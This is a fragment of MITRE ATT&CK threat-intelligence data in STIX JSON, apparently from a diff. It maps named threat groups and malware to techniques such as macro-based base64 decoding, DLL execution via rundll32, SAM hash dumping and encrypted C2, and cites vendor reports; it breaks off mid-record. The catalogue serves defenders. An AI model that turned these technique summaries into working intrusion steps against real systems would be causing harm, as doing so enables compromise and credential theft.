[BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2020-03-16T15:59:20.515Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6ddb76d-4317-4cfd-9e1d-57d8a0c5fb21", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used [certutil](https://attack.mitre.org/software/S0160) in a macro to decode base64-encoded content contained in a dropper document attached to an email. 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APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--891a97f1-d3e2-45ff-a079-43dcad21a175", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload was packed with UPX.(Citation: Securelist Dropping Elephant)", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "modified": "2020-03-19T19:58:58.101Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.077Z", + "external_references": [ + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef", + "description": "(Citation: FireEye APT32 May 2017)", + "target_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "modified": "2019-07-17T13:11:38.973Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a2423ac3-94b4-4936-962b-06562115cb70", + "description": "Lateral movement can be done with [Net](https://attack.mitre.org/software/S0039) through net use commands to connect to the on remote systems.(Citation: Savill 1999)", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "modified": "2020-03-19T13:11:25.618Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52", + "description": "(Citation: FireEye admin@338)", + "target_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "modified": "2019-09-04T19:48:17.668Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.053Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5986609f-f047-4f71-8918-e0d7d33416f0", + "description": "(Citation: Rancor Unit42 June 2018)", + "target_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "modified": "2019-04-25T12:37:45.677Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote command execution.(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 2)", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "modified": "2019-05-14T17:10:21.946Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dbdf85ca-504d-40f9-9023-ce8acdf99781", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim\u2019s machine before exfiltration.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-16T23:36:43.919Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://securelist.com/calisto-trojan-for-macos/86543/", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018" + }, + { + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58", + "description": "[APT28](https://attack.mitre.org/groups/G0007) executed [CHOPSTICK](https://attack.mitre.org/software/S0023) by using rundll32 commands such as rundll32.exe \u201cC:\\Windows\\twain_64.dll\u201d. [APT28](https://attack.mitre.org/groups/G0007) also executed a .dll for a first stage dropper using rundll32.exe. An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.(Citation: Crowdstrike DNC June 2016)(Citation: Bitdefender APT28 Dec 2015)(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit 42 Playbook Dec 2017)(Citation: ESET Zebrocy May 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2021-07-27T13:30:22.327Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.038Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "source_name": "Crowdstrike DNC June 2016" + }, + { + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", + "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.", + "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e8c25f99-67f0-4aae-aeee-55e5bcea2d8e", + "target_ref": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "modified": "2020-01-24T14:27:29.048Z", + "source_ref": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.031Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694", + "description": "(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)", + "target_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "modified": "2019-03-25T16:47:54.560Z", + "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. 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Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2aee3cad-9825-428f-bbd4-de51c688b886", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "modified": "2020-01-24T16:48:51.327Z", + "source_ref": "course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used IMAP, POP3, and SMTP for a communication channel in various implants, including using self-registered Google Mail accounts and later compromised email servers of its victims.(Citation: FireEye APT28)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", + "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "modified": "2021-07-26T17:43:52.018Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.038Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "description": "FireEye. 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Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4c5ae895-9a08-40b6-a548-273a9f96ad5b", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) downloads additional payloads.(Citation: FireEye APT37 Feb 2018)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-03-20T21:29:27.684Z", + "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--108a1655-faba-4016-a276-c224665cb5c4", + "description": "[gsecdump](https://attack.mitre.org/software/S0008) can dump Windows password hashes from the SAM.(Citation: TrueSec Gsecdump)", + "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", + "modified": "2020-03-19T22:58:42.694Z", + "source_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5", + "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.", + "source_name": "TrueSec Gsecdump" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about the OS, processor, and BIOS.(Citation: FireEye FIN7 April 2017)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9412068-a35c-4be3-9945-a1f69f2f77db", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use fileless UAC bypass and create an elevated COM object to escalate privileges.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2020-07-17T19:22:28.806Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). 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Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--813e4416-bee6-4192-a712-6b5f80a7fff3", + "description": "[S-Type](https://attack.mitre.org/software/S0085) uses Base64 encoding for C2 traffic.(Citation: Cylance Dust Storm)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2020-03-20T18:28:45.217Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses an 11-byte XOR algorithm to hide data.(Citation: Sofacy Komplex Trojan)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-01-17T19:50:01.355Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6d8d9425-86ec-42d3-bce5-2af53d4f1fad", + "description": "A Word document delivering [TYPEFRAME](https://attack.mitre.org/software/S0263) prompts the user to enable macro execution.(Citation: US-CERT TYPEFRAME June 2018)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-03-17T13:49:31.176Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--36b2817e-5f07-4f70-927c-8e04b955d5a3", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) encrypts C2 data with AES256 in ECB mode.(Citation: Microsoft PLATINUM April 2016)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-03-20T23:16:11.782Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", + "description": "Windows Defender Advanced Threat Hunting Team. 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Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used net time to check the local time on a target system.(Citation: Secureworks BRONZE BUTLER Oct 2017)", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "modified": "2019-03-22T19:57:37.313Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--17aef45b-9a3c-4192-af31-4a21300a90e0", + "description": "(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-22T19:23:13.532Z", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc", + "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). 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Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cf9e7512-c510-4605-9035-f60335c351f4", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.(Citation: FireEye FIN7 April 2017)(Citation: DOJ FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2021-09-23T12:33:47.631Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. 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Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8bbf259b-029b-48fa-859b-5dbbbcd98b53", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on the system and local drives.(Citation: Unit 42 Kazuar May 2017)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-04-24T15:26:03.726Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--16cb7ede-b431-4711-bcb1-91bc925663e5", + "description": "During its initial execution, [BACKSPACE](https://attack.mitre.org/software/S0031) extracts operating system information from the infected host.(Citation: FireEye APT30)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-17T00:19:38.043Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "description": "FireEye Labs. (2015, April). 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Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b640dfee-9502-4ffb-92e4-f153f8726383", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating application windows.(Citation: FireEye APT32 May 2017)", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "modified": "2020-03-17T02:37:57.987Z", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--63185895-4afb-4886-adcc-fbfac1a117d6", + "description": "(Citation: Mandiant No Easy Breach)", + "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "modified": "2019-07-25T14:25:53.499Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + 